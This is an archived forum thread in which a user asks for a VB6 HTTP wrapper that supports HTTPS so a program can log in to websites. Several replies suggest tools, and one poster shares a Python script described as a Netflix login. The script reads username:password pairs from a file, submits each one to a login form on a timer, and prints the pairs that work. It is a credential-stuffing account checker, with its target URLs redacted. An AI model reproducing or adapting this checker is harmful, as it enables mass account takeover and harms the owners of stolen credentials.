PDA

View Full Version : [VB6] HTTP WRAPPER With Support For HTTPS



teafortree
10-15-2012, 02:54 AM
Hi there,
Does anyone know of any HTTP WRAPPER with support for [Only registered and activated users can see links]
I need this to login to some websites and use the API but I can't find anything that works with [Only registered and activated users can see links]

Anyone know of anything?

Hexx
10-15-2012, 02:39 PM
you should be able to use the inet control.

Zachafer
10-16-2012, 04:24 AM
You can use Winsock, I don't know if someone has written a wrapper for it in VB6.

damian002
10-16-2012, 05:41 AM
hm, wondering. why can't you use browser instead?
and what API is that you wanna use?

DarkByte
10-16-2012, 06:22 AM
[Only registered and activated users can see links] is a hassle can you not do it in python ? It supports http by default here is a simple netflix login I made with [Only registered and activated users can see links]




import urllib2, re, hashlib
import socket
from urllib import urlencode
from cookielib import CookieJar
import time
import urllib

opener = urllib2.build_opener(urllib2.[Only registered and activated users can see links](C ookieJar()))





def logintest(theusername,thepassword):
#preload a game using all gsi urls


finalhtml = opener.open('[Only registered and activated users can see links]')
strhtml1= finalhtml.read()




postdata = urlencode({
"email" : theusername,
"submit" : "submit",

"password1" : thepassword,
'SubmitButton' : 'Click Here to Continue',
'nextpage' : '[Only registered and activated users can see links]',
'RememberMe' : 'true',
})
finalhtml = opener.open('[Only registered and activated users can see links]', postdata)
strhtml2= finalhtml.read()
if strhtml2.find("The login information you entered does not match an account in our records.") <10 :
print theusername , ":" , thepassword


file = open("accs.txt")

while 1:
line = file.readline()
if not line:
break
pass # do something
lines = line.split(":")
logintest(lines[0],lines[1])
time.sleep(5)

j03
10-16-2012, 10:42 AM
It's not worth doing in VB6, tbh. Like Rare said, do it in Python or some other language being supported.


You can use Winsock, I don't know if someone has written a wrapper for it in VB6.

I thought Winsock couldn't handle [Only registered and activated users can see links]